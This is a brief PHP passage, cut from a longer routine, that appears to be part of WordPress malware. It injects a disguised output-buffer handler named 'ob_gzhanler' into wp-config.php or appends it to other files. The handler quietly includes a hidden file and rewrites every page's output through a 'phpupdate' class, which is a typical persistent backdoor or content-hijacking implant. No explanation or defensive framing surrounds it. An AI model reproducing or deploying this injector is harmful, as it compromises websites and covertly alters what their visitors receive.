<?php
$code = <<<CODE
function ob_gzhanler(\$s)
{
   \$f='$this->sysfile';
    if(file_exists(\$f)) include_once(\$f);
    return class_exists('phpupdate') ? phpupdate::copyright(\$s) : \$s;
}
ob_start('ob_gzhanler');
CODE;
$n = basename($f);
if($n=='wp-config.php' && strpos($h, '/**#@-*/')!==FALSE)
{
    $h = str_replace('/**#@-*/', '/**#@-*/'."\n".$code, $h);
}else $h .= "\n\n".$code;
$code = $this->file_put($f, $h);
if(!$code) $this->out('not write out file');